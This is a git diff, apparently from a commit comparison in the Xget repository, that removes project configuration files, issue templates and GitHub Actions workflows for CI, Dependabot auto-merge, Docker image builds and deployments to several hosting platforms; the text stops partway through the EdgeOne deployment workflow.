Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a75b645f77 |
No files matched your search
@@ -1,49 +0,0 @@
|
||||
# Dependencies
|
||||
node_modules/
|
||||
npm-debug.log
|
||||
|
||||
# Build outputs
|
||||
dist/
|
||||
.wrangler/
|
||||
wrangler-dist/
|
||||
|
||||
# Tests
|
||||
test/
|
||||
coverage/
|
||||
*.test.js
|
||||
|
||||
# Documentation
|
||||
*.md
|
||||
docs/
|
||||
.github/
|
||||
|
||||
# Git
|
||||
.git/
|
||||
.gitignore
|
||||
.gitattributes
|
||||
|
||||
# IDE
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# OS
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# CI/CD
|
||||
.github/workflows/
|
||||
|
||||
# Config files not needed in build
|
||||
.prettierrc
|
||||
.prettierignore
|
||||
.eslintrc*
|
||||
tsconfig.json
|
||||
vitest.config.js
|
||||
|
||||
# Misc
|
||||
*.log
|
||||
.env
|
||||
.env.*
|
||||
@@ -1,13 +0,0 @@
|
||||
# http://editorconfig.org
|
||||
root = true
|
||||
|
||||
[*]
|
||||
indent_style = space
|
||||
indent_size = 2
|
||||
end_of_line = lf
|
||||
charset = utf-8
|
||||
trim_trailing_whitespace = true
|
||||
insert_final_newline = true
|
||||
|
||||
[*.yml]
|
||||
indent_style = space
|
||||
@@ -1 +0,0 @@
|
||||
* text=auto eol=lf
|
||||
@@ -1,2 +0,0 @@
|
||||
custom: https://xi-xu.me/#sponsorships
|
||||
buy_me_a_coffee: xixu
|
||||
@@ -1,67 +0,0 @@
|
||||
name: Bug report
|
||||
description: Report a reproducible problem in Xget
|
||||
title: "[Bug]: "
|
||||
labels:
|
||||
- bug
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thanks for taking the time to report a bug.
|
||||
|
||||
Please search existing issues before filing a new one. If this is a security
|
||||
vulnerability, do not continue here. Follow the private reporting instructions
|
||||
in [SECURITY.md](https://github.com/xixu-me/Xget/blob/main/SECURITY.md).
|
||||
- type: textarea
|
||||
id: summary
|
||||
attributes:
|
||||
label: What happened?
|
||||
description: Describe the problem and the actual behavior you observed.
|
||||
placeholder: A request to /npm/... returns the wrong upstream path when...
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: expected
|
||||
attributes:
|
||||
label: What did you expect to happen?
|
||||
placeholder: The request should be rewritten to...
|
||||
validations:
|
||||
required: true
|
||||
- type: dropdown
|
||||
id: area
|
||||
attributes:
|
||||
label: Which area is affected?
|
||||
options:
|
||||
- Routing or path transformation
|
||||
- Git protocol
|
||||
- Docker or OCI registry support
|
||||
- AI inference proxying
|
||||
- Cache behavior
|
||||
- Security headers or validation
|
||||
- Deployment or adapter behavior
|
||||
- Documentation
|
||||
- Something else
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: reproduction
|
||||
attributes:
|
||||
label: Steps to reproduce
|
||||
description: Share a minimal reproduction with secrets removed.
|
||||
placeholder: |
|
||||
1. Send request to...
|
||||
2. Use headers...
|
||||
3. Observe...
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: environment
|
||||
attributes:
|
||||
label: Environment
|
||||
description: Include runtime, deployment target, client, and version details when relevant.
|
||||
placeholder: Cloudflare Workers, local wrangler dev, curl 8.8.0, Node.js 24...
|
||||
- type: textarea
|
||||
id: additional
|
||||
attributes:
|
||||
label: Additional context
|
||||
description: Logs, headers, screenshots, or links that help explain the issue.
|
||||
@@ -1,11 +0,0 @@
|
||||
blank_issues_enabled: false
|
||||
contact_links:
|
||||
- name: Read the README
|
||||
url: https://github.com/xixu-me/Xget/blob/main/README.md
|
||||
about: Check supported platforms, usage examples, and deployment options first.
|
||||
- name: Contributing Guide
|
||||
url: https://github.com/xixu-me/Xget/blob/main/CONTRIBUTING.md
|
||||
about: Learn how to prepare a bug report or pull request.
|
||||
- name: Maintainer contact page
|
||||
url: https://xi-xu.me/#contact
|
||||
about: Use a private contact path for sensitive or non-public matters.
|
||||
@@ -1,46 +0,0 @@
|
||||
name: Feature request
|
||||
description: Propose an improvement or new capability for Xget
|
||||
title: "[Feature]: "
|
||||
labels:
|
||||
- enhancement
|
||||
body:
|
||||
- type: markdown
|
||||
attributes:
|
||||
value: |
|
||||
Thanks for sharing an idea.
|
||||
|
||||
Please keep requests focused and explain the user or maintainer value clearly.
|
||||
For large changes, starting with an issue before implementation is strongly preferred.
|
||||
- type: textarea
|
||||
id: problem
|
||||
attributes:
|
||||
label: What problem are you trying to solve?
|
||||
description: Describe the user need, operational pain point, or workflow gap.
|
||||
placeholder: Users of platform X cannot...
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: proposal
|
||||
attributes:
|
||||
label: What change would you like to see?
|
||||
description: Describe the proposed behavior or feature.
|
||||
placeholder: Add support for...
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: alternatives
|
||||
attributes:
|
||||
label: Alternatives considered
|
||||
description: Describe any workarounds or alternative approaches you evaluated.
|
||||
- type: textarea
|
||||
id: impact
|
||||
attributes:
|
||||
label: Why is this valuable?
|
||||
description: Explain who benefits and why the change fits Xget's goals.
|
||||
validations:
|
||||
required: true
|
||||
- type: textarea
|
||||
id: additional
|
||||
attributes:
|
||||
label: Additional context
|
||||
description: Add links, examples, or prior art if helpful.
|
||||
@@ -1,80 +0,0 @@
|
||||
version: 2
|
||||
updates:
|
||||
# GitHub Actions dependencies
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
day: "monday"
|
||||
time: "09:00"
|
||||
open-pull-requests-limit: 5
|
||||
commit-message:
|
||||
prefix: "ci"
|
||||
include: "scope"
|
||||
labels:
|
||||
- "dependencies"
|
||||
- "github-actions"
|
||||
groups:
|
||||
docker-actions:
|
||||
applies-to: version-updates
|
||||
patterns:
|
||||
- "docker/build-push-action"
|
||||
- "docker/login-action"
|
||||
- "docker/metadata-action"
|
||||
- "docker/setup-buildx-action"
|
||||
reviewers:
|
||||
- "xixu-me"
|
||||
assignees:
|
||||
- "xixu-me"
|
||||
|
||||
# npm dependencies
|
||||
- package-ecosystem: "npm"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
day: "monday"
|
||||
time: "09:00"
|
||||
open-pull-requests-limit: 5
|
||||
commit-message:
|
||||
prefix: "deps"
|
||||
include: "scope"
|
||||
labels:
|
||||
- "dependencies"
|
||||
- "npm"
|
||||
groups:
|
||||
cloudflare-dev:
|
||||
applies-to: version-updates
|
||||
patterns:
|
||||
- "@cloudflare/vitest-pool-workers"
|
||||
- "@cloudflare/workers-types"
|
||||
- "wrangler"
|
||||
linting:
|
||||
applies-to: version-updates
|
||||
patterns:
|
||||
- "@eslint/js"
|
||||
- "eslint"
|
||||
- "eslint-*"
|
||||
reviewers:
|
||||
- "xixu-me"
|
||||
assignees:
|
||||
- "xixu-me"
|
||||
versioning-strategy: increase
|
||||
|
||||
# Docker base images
|
||||
- package-ecosystem: "docker"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
day: "monday"
|
||||
time: "09:00"
|
||||
open-pull-requests-limit: 5
|
||||
commit-message:
|
||||
prefix: "deps"
|
||||
include: "scope"
|
||||
labels:
|
||||
- "dependencies"
|
||||
- "docker"
|
||||
reviewers:
|
||||
- "xixu-me"
|
||||
assignees:
|
||||
- "xixu-me"
|
||||
@@ -1,23 +0,0 @@
|
||||
## Summary
|
||||
|
||||
- What does this change do?
|
||||
- Why is it needed?
|
||||
|
||||
## Testing
|
||||
|
||||
- [ ] `npm run lint`
|
||||
- [ ] `npm run format:check`
|
||||
- [ ] `npm run test:run`
|
||||
- [ ] `npm run type-check`
|
||||
|
||||
## Checklist
|
||||
|
||||
- [ ] I kept the change focused and avoided unrelated edits
|
||||
- [ ] I added or updated tests when behavior changed
|
||||
- [ ] I updated documentation when user-facing behavior changed
|
||||
- [ ] I removed or redacted secrets, tokens, and private data from examples
|
||||
|
||||
## Notes for reviewers
|
||||
|
||||
- Related issue:
|
||||
- Risk or rollout notes:
|
||||
@@ -1,146 +0,0 @@
|
||||
name: CI
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
paths-ignore:
|
||||
- "**.md"
|
||||
- "LICENSE"
|
||||
- ".gitignore"
|
||||
- ".editorconfig"
|
||||
- ".vscode/**"
|
||||
- "docs/**"
|
||||
- ".prettierrc*"
|
||||
- ".eslintrc*"
|
||||
- ".github/ISSUE_TEMPLATE/**"
|
||||
- ".github/PULL_REQUEST_TEMPLATE/**"
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
paths-ignore:
|
||||
- "**.md"
|
||||
- "LICENSE"
|
||||
- ".gitignore"
|
||||
- ".editorconfig"
|
||||
- ".vscode/**"
|
||||
- "docs/**"
|
||||
- ".prettierrc*"
|
||||
- ".eslintrc*"
|
||||
- ".github/ISSUE_TEMPLATE/**"
|
||||
- ".github/PULL_REQUEST_TEMPLATE/**"
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
name: Lint
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v7
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: "24"
|
||||
cache: "npm"
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm ci
|
||||
|
||||
- name: Run ESLint
|
||||
run: npm run lint
|
||||
|
||||
- name: Check formatting
|
||||
run: npm run format:check
|
||||
|
||||
test:
|
||||
name: Test and Coverage
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 15
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v7
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: "24"
|
||||
cache: "npm"
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm ci
|
||||
|
||||
- name: Run tests
|
||||
run: npm run test:run
|
||||
env:
|
||||
CI: true
|
||||
|
||||
- name: Generate coverage report
|
||||
run: npm run test:coverage
|
||||
env:
|
||||
CI: true
|
||||
|
||||
- name: Normalize coverage paths for Codecov
|
||||
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
|
||||
run: |
|
||||
python - <<'PY'
|
||||
from pathlib import Path
|
||||
|
||||
path = Path("coverage/lcov.info")
|
||||
lines = path.read_text(encoding="utf-8").splitlines()
|
||||
normalized = []
|
||||
|
||||
for line in lines:
|
||||
if line.startswith("SF:"):
|
||||
normalized.append("SF:" + line[3:].replace("\\", "/"))
|
||||
else:
|
||||
normalized.append(line)
|
||||
|
||||
path.write_text("\n".join(normalized) + "\n", encoding="utf-8")
|
||||
PY
|
||||
|
||||
- name: Show normalized coverage file entries
|
||||
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
|
||||
run: grep '^SF:' coverage/lcov.info | head
|
||||
|
||||
- name: Upload coverage to Codecov
|
||||
if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' }}
|
||||
uses: codecov/codecov-action@v7
|
||||
with:
|
||||
files: ./coverage/lcov.info
|
||||
flags: unit
|
||||
name: unit-coverage
|
||||
disable_search: true
|
||||
fail_ci_if_error: true
|
||||
verbose: true
|
||||
env:
|
||||
CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
|
||||
|
||||
typecheck:
|
||||
name: Type Check
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v7
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: "24"
|
||||
cache: "npm"
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm ci
|
||||
|
||||
- name: Run type check
|
||||
run: npm run type-check
|
||||
@@ -1,54 +0,0 @@
|
||||
name: Commit Lint
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
commitlint:
|
||||
name: Validate Commit Messages
|
||||
runs-on: ubuntu-latest
|
||||
if: ${{ github.actor != 'dependabot[bot]' && !startsWith(github.head_ref, 'dependabot/') }}
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: "24"
|
||||
cache: "npm"
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm ci
|
||||
|
||||
- name: Lint commit messages
|
||||
shell: bash
|
||||
run: |
|
||||
if [[ "${{ github.event_name }}" == "pull_request" ]]; then
|
||||
FROM="${{ github.event.pull_request.base.sha }}"
|
||||
TO="${{ github.event.pull_request.head.sha }}"
|
||||
else
|
||||
FROM="${{ github.event.before }}"
|
||||
TO="${{ github.sha }}"
|
||||
fi
|
||||
|
||||
if [[ "$FROM" == "0000000000000000000000000000000000000000" ]]; then
|
||||
npx commitlint --last --verbose
|
||||
else
|
||||
npx commitlint --from "$FROM" --to "$TO" --verbose
|
||||
fi
|
||||
@@ -1,210 +0,0 @@
|
||||
name: Dependabot Auto Merge
|
||||
|
||||
on:
|
||||
check_suite:
|
||||
types: [completed]
|
||||
workflow_run:
|
||||
workflows:
|
||||
- "Build and Push Image"
|
||||
- "CI"
|
||||
- "CodeQL"
|
||||
- "Commit Lint"
|
||||
- "Copilot"
|
||||
- "Dependabot Updates"
|
||||
- "Deploy to Cloudflare Pages"
|
||||
- "Deploy to Cloudflare Workers"
|
||||
- "Deploy to EdgeOne Pages"
|
||||
- "Deploy to Vercel"
|
||||
- "Sync to Pages and Functions"
|
||||
types:
|
||||
- completed
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.event.workflow_run.head_branch || github.run_id }}
|
||||
cancel-in-progress: false
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: write
|
||||
checks: read
|
||||
statuses: read
|
||||
|
||||
jobs:
|
||||
merge:
|
||||
name: Auto-merge Dependabot PRs
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- name: Merge Dependabot PRs when checks pass
|
||||
uses: actions/github-script@v9
|
||||
with:
|
||||
script: |
|
||||
const owner = context.repo.owner;
|
||||
const repo = context.repo.repo;
|
||||
|
||||
const successfulCheckConclusions = new Set(["success", "skipped", "neutral"]);
|
||||
const successfulStatusStates = new Set(["success"]);
|
||||
const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
|
||||
|
||||
const latestBy = (items, keyOf, timeOf) => {
|
||||
const latest = new Map();
|
||||
for (const item of items) {
|
||||
const key = keyOf(item);
|
||||
const itemTime = new Date(timeOf(item) || 0).getTime();
|
||||
const existing = latest.get(key);
|
||||
const existingTime = existing ? new Date(timeOf(existing) || 0).getTime() : -1;
|
||||
if (!existing || itemTime >= existingTime) {
|
||||
latest.set(key, item);
|
||||
}
|
||||
}
|
||||
return [...latest.values()];
|
||||
};
|
||||
|
||||
const findCandidatePulls = async () => {
|
||||
const pulls = await github.paginate(github.rest.pulls.list, {
|
||||
owner,
|
||||
repo,
|
||||
state: "open",
|
||||
per_page: 100,
|
||||
});
|
||||
|
||||
return pulls.filter((pr) => pr.user?.login === "dependabot[bot]");
|
||||
};
|
||||
|
||||
const getMergeablePullRequest = async (pull_number) => {
|
||||
for (let attempt = 1; attempt <= 6; attempt += 1) {
|
||||
const { data: pr } = await github.rest.pulls.get({ owner, repo, pull_number });
|
||||
if (pr.mergeable !== null) {
|
||||
return pr;
|
||||
}
|
||||
core.info("PR #" + pull_number + " mergeability is still being computed; retry " + attempt + "/6.");
|
||||
await wait(5000);
|
||||
}
|
||||
|
||||
const { data: pr } = await github.rest.pulls.get({ owner, repo, pull_number });
|
||||
return pr;
|
||||
};
|
||||
|
||||
const getSignalState = async (sha) => {
|
||||
const checkRuns = await github.paginate(github.rest.checks.listForRef, {
|
||||
owner,
|
||||
repo,
|
||||
ref: sha,
|
||||
per_page: 100,
|
||||
});
|
||||
|
||||
const statuses = await github.paginate(github.rest.repos.listCommitStatusesForRef, {
|
||||
owner,
|
||||
repo,
|
||||
ref: sha,
|
||||
per_page: 100,
|
||||
});
|
||||
|
||||
const latestChecks = latestBy(
|
||||
checkRuns.filter((run) => run.name !== "Dependabot Auto Merge"),
|
||||
(run) => (run.app?.slug || "unknown") + ":" + run.name,
|
||||
(run) => run.completed_at || run.started_at || run.created_at,
|
||||
);
|
||||
const latestStatuses = latestBy(statuses, (status) => status.context, (status) => status.updated_at || status.created_at);
|
||||
|
||||
const pendingChecks = latestChecks.filter((run) => run.status !== "completed");
|
||||
const failedChecks = latestChecks.filter(
|
||||
(run) => run.status === "completed" && !successfulCheckConclusions.has(String(run.conclusion || "").toLowerCase()),
|
||||
);
|
||||
const failedStatuses = latestStatuses.filter((status) => !successfulStatusStates.has(String(status.state || "").toLowerCase()));
|
||||
|
||||
return {
|
||||
totalSignals: latestChecks.length + latestStatuses.length,
|
||||
pendingChecks,
|
||||
failedChecks,
|
||||
failedStatuses,
|
||||
};
|
||||
};
|
||||
|
||||
const { data: repository } = await github.rest.repos.get({ owner, repo });
|
||||
const mergeMethods = [];
|
||||
if (repository.allow_merge_commit) mergeMethods.push("merge");
|
||||
if (repository.allow_squash_merge) mergeMethods.push("squash");
|
||||
if (repository.allow_rebase_merge) mergeMethods.push("rebase");
|
||||
|
||||
if (mergeMethods.length === 0) {
|
||||
core.info("This repository has no enabled pull request merge methods.");
|
||||
return;
|
||||
}
|
||||
|
||||
const pulls = await findCandidatePulls();
|
||||
if (pulls.length === 0) {
|
||||
core.info("No open Dependabot PRs to evaluate.");
|
||||
return;
|
||||
}
|
||||
|
||||
for (const candidate of pulls) {
|
||||
const pull_number = candidate.number;
|
||||
const pr = await getMergeablePullRequest(pull_number);
|
||||
|
||||
if (pr.user?.login !== "dependabot[bot]") {
|
||||
core.info("PR #" + pull_number + " is no longer a Dependabot PR.");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (pr.state !== "open" || pr.draft) {
|
||||
core.info("PR #" + pull_number + " is not an open, ready PR.");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (pr.mergeable !== true) {
|
||||
core.info("PR #" + pull_number + " is not currently mergeable.");
|
||||
continue;
|
||||
}
|
||||
|
||||
const signalState = await getSignalState(pr.head.sha);
|
||||
if (signalState.totalSignals === 0) {
|
||||
core.info("PR #" + pull_number + " has no checks or statuses yet; skipping.");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (signalState.pendingChecks.length > 0) {
|
||||
core.info("PR #" + pull_number + " still has pending checks: " + signalState.pendingChecks.map((run) => run.name).join(", ") + ".");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (signalState.failedChecks.length > 0 || signalState.failedStatuses.length > 0) {
|
||||
const failedChecks = signalState.failedChecks.map((run) => run.name + "=" + run.conclusion).join(", ");
|
||||
const failedStatuses = signalState.failedStatuses.map((status) => status.context + "=" + status.state).join(", ");
|
||||
core.info("PR #" + pull_number + " is not green. Checks: " + (failedChecks || "none") + ". Statuses: " + (failedStatuses || "none") + ".");
|
||||
continue;
|
||||
}
|
||||
|
||||
let merged = false;
|
||||
let lastError = null;
|
||||
for (const merge_method of mergeMethods) {
|
||||
try {
|
||||
await github.rest.pulls.merge({ owner, repo, pull_number, merge_method });
|
||||
core.info("Merged Dependabot PR #" + pull_number + " with " + merge_method + ".");
|
||||
merged = true;
|
||||
break;
|
||||
} catch (error) {
|
||||
lastError = error;
|
||||
if (error.status === 403 || error.status === 405 || error.status === 409) {
|
||||
core.info("Cannot merge PR #" + pull_number + " with " + merge_method + ": " + error.message);
|
||||
continue;
|
||||
}
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
if (!merged) {
|
||||
core.info("PR #" + pull_number + " could not be merged: " + (lastError?.message || "unknown error") + ".");
|
||||
continue;
|
||||
}
|
||||
|
||||
if (pr.head.repo?.full_name === owner + "/" + repo) {
|
||||
try {
|
||||
await github.rest.git.deleteRef({ owner, repo, ref: "heads/" + pr.head.ref });
|
||||
core.info("Deleted branch " + pr.head.ref + ".");
|
||||
} catch (error) {
|
||||
core.info("Could not delete branch " + pr.head.ref + ": " + error.message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
name: Deploy to Netlify
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["Sync to Pages and Functions"]
|
||||
types:
|
||||
- completed
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 15
|
||||
permissions:
|
||||
contents: read
|
||||
deployments: write
|
||||
if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }}
|
||||
|
||||
steps:
|
||||
- name: Checkout functions branch
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
ref: functions
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: "24"
|
||||
cache: "npm"
|
||||
|
||||
- name: Install Netlify CLI
|
||||
run: npm install --global netlify-cli@latest
|
||||
|
||||
- name: Deploy to Netlify
|
||||
run: netlify deploy --prod --dir=. --auth=${{ secrets.NETLIFY_AUTH_TOKEN }} --site=${{ secrets.NETLIFY_SITE_ID }}
|
||||
@@ -1,50 +0,0 @@
|
||||
name: Deploy to Vercel
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["Sync to Pages and Functions"]
|
||||
types:
|
||||
- completed
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 15
|
||||
permissions:
|
||||
contents: read
|
||||
deployments: write
|
||||
if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }}
|
||||
env:
|
||||
VERCEL_ORG_ID: ${{ secrets.VERCEL_ORG_ID }}
|
||||
VERCEL_PROJECT_ID: ${{ secrets.VERCEL_PROJECT_ID }}
|
||||
|
||||
steps:
|
||||
- name: Checkout functions branch
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
ref: functions
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: "24"
|
||||
cache: "npm"
|
||||
|
||||
- name: Install Vercel CLI
|
||||
run: npm install --global vercel@latest
|
||||
|
||||
- name: Pull Vercel Environment Information
|
||||
run: vercel pull --yes --environment=production --token=${{ secrets.VERCEL_TOKEN }}
|
||||
|
||||
- name: Build Project Artifacts
|
||||
run: vercel build --prod --token=${{ secrets.VERCEL_TOKEN }}
|
||||
|
||||
- name: Deploy Project Artifacts to Vercel
|
||||
run: vercel deploy --prebuilt --prod --token=${{ secrets.VERCEL_TOKEN }}
|
||||
@@ -1,84 +0,0 @@
|
||||
name: Build and Push Image
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["CI"]
|
||||
types:
|
||||
- completed
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
env:
|
||||
REGISTRY: ghcr.io
|
||||
IMAGE_NAME: ${{ github.repository }}
|
||||
|
||||
jobs:
|
||||
build-and-push:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
permissions:
|
||||
contents: read
|
||||
packages: write
|
||||
id-token: write
|
||||
attestations: write
|
||||
if: >-
|
||||
${{
|
||||
github.event_name == 'workflow_dispatch' ||
|
||||
(
|
||||
github.event_name == 'workflow_run' &&
|
||||
github.event.workflow_run.conclusion == 'success' &&
|
||||
github.event.workflow_run.event == 'push' &&
|
||||
github.event.workflow_run.head_branch == 'main' &&
|
||||
github.event.workflow_run.head_repository.full_name == github.repository
|
||||
)
|
||||
}}
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v7
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v4
|
||||
|
||||
- name: Log in to GitHub Container Registry
|
||||
uses: docker/login-action@v4
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: Extract metadata (tags, labels) for Docker
|
||||
id: meta
|
||||
uses: docker/metadata-action@v6
|
||||
with:
|
||||
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
|
||||
tags: |
|
||||
type=ref,event=branch
|
||||
type=ref,event=pr
|
||||
type=sha
|
||||
type=raw,value=latest,enable={{is_default_branch}}
|
||||
|
||||
- name: Build and push Docker image
|
||||
id: build-and-push
|
||||
uses: docker/build-push-action@v7
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/amd64,linux/arm64
|
||||
push: ${{ github.event_name != 'pull_request' }}
|
||||
tags: ${{ steps.meta.outputs.tags }}
|
||||
labels: ${{ steps.meta.outputs.labels }}
|
||||
cache-from: type=gha
|
||||
cache-to: type=gha,mode=max
|
||||
|
||||
- name: Generate artifact attestation
|
||||
if: github.event_name != 'pull_request'
|
||||
uses: actions/attest-build-provenance@v4
|
||||
with:
|
||||
subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME}}
|
||||
subject-digest: ${{ steps.build-and-push.outputs.digest }}
|
||||
push-to-registry: true
|
||||
@@ -1,73 +0,0 @@
|
||||
name: Deploy to Cloudflare Pages
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["Sync to Pages and Functions"]
|
||||
types:
|
||||
- completed
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: false
|
||||
|
||||
env:
|
||||
WRANGLER_VERSION: "4.76.0"
|
||||
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 15
|
||||
permissions:
|
||||
contents: read
|
||||
deployments: write
|
||||
if: ${{ github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch' }}
|
||||
|
||||
steps:
|
||||
- name: Checkout pages branch
|
||||
uses: actions/checkout@v7
|
||||
with:
|
||||
ref: pages
|
||||
|
||||
- name: Ensure Cloudflare Pages project exists
|
||||
env:
|
||||
CF_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }}
|
||||
CF_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
|
||||
CF_PAGES_PROJECT: xget
|
||||
CF_PRODUCTION_BRANCH: main
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
api_base="https://api.cloudflare.com/client/v4/accounts/${CF_ACCOUNT_ID}/pages/projects"
|
||||
auth_header="Authorization: Bearer ${CF_API_TOKEN}"
|
||||
|
||||
echo "Checking Pages project: ${CF_PAGES_PROJECT}"
|
||||
if curl -fsS -H "${auth_header}" "${api_base}/${CF_PAGES_PROJECT}" >/dev/null; then
|
||||
echo "Pages project exists."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "Pages project not found. Creating..."
|
||||
create_payload="$(printf '{"name":"%s","production_branch":"%s"}' "${CF_PAGES_PROJECT}" "${CF_PRODUCTION_BRANCH}")"
|
||||
curl -fsS -X POST -H "${auth_header}" -H "Content-Type: application/json" \
|
||||
--data "${create_payload}" \
|
||||
"${api_base}" >/dev/null
|
||||
|
||||
echo "Pages project created."
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v7
|
||||
with:
|
||||
node-version: "24"
|
||||
|
||||
- name: Install Wrangler CLI
|
||||
run: npm install --global wrangler@${{ env.WRANGLER_VERSION }}
|
||||
|
||||
- name: Deploy to Cloudflare Pages
|
||||
env:
|
||||
CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }}
|
||||
CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
|
||||
run: wrangler pages deploy . --project-name=xget --branch=${{ github.ref_name }}
|
||||
@@ -1,37 +0,0 @@
|
||||
name: Deploy to EdgeOne Pages
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["Sync to Pages and Functions"]
|
||||
types:
|
||||
- completed
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
